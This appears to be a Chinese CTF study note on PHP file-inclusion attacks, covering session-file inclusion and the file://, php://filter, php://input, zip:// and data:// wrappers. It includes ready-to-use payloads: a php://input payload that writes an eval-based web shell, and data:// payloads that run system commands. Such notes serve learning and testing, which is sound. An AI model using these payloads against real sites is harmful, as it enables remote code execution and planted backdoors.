7-18文件包含(2)

session文件包含

有关原理之类的可以看看这篇

文件包含之Session文件包含-CSDN博客

session文件格式:sess_[PHPSESSID]

session文件地址的话,可以用phpinfo()来看

 我这里是/var/lib/php/session

 同时,我们需要向session库中输入一些信息,比如<?php phpinfo()?>

php伪协议

file://

主要用于访问本地系统,且不受allow_url_open和allow_url_include的影响

格式:file://+绝对路径+文件名

php://filter

用于读取源代码,并用其他形式的编码进行输出

php://filter/read=string.rot13/resource=<目标文件名> //rot13编码后读取文件内容

php://filter/convert.iconv.utf-8.utf-7/resource=<目标文件名> //将utf8编码转换utf7编码

php://filter/convert.iconv.utf8.utf16/resource=<目标文件名>  //将utf8编码转换utf16编码

php://filter/convert.base64-encode/resource=<目标文件名>  //base64编码后读取文件内容

有的题目就会过滤掉base和rot或者其他的

php://input

可以访问请求的原始数据的只读流
(只读意味着数据流仅提供读取方法,禁止写入或修改操作。例如,在HTTP请求中,请求体可能以流的形式暴露给开发者,但开发者只能从中读取数据,无法直接修改流中的内容)
将post 请求中的数据作为 PHP 代码执行。当传入的参数作为文件名打开时,可以将参数设为php://input,然后进行抓包并post想设置的文件内容, php 执行时会将 post 内容当作文件内容,从而导致任意代码执行。
利用该方法,我们可以直接写入 php 文件,输入 file=php://input ,然后使用 burp 抓包,写入 php
码:
<?php fwrite(fopen("shell.php","w"),'<?php @eval($_POST['cmd'])?>');?>

 

zip://

zip:// 可以访问压缩包里面的文件。当它与包含函数结合时,zip://流会被当作php文件执行。从而实现任意代码执行。

格式的话:zip://+压缩包绝对路径+%23(#)+压缩包内文件

只需要是zip的压缩包即可,后缀名可以任意更改。
相同的类型还有zlib://和bzip2://

data://

可以用来执行命令

data://text/plain,<?=system("ipconfig");?>

data://text/plain,为主体

,后面为命令

也可以将命令加密

data://text/plain;base64,PD89c3lzdGVtKCJpcGNvbmZpZyIpOz8+

应对于将<?过滤的

今天就到这,加油

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值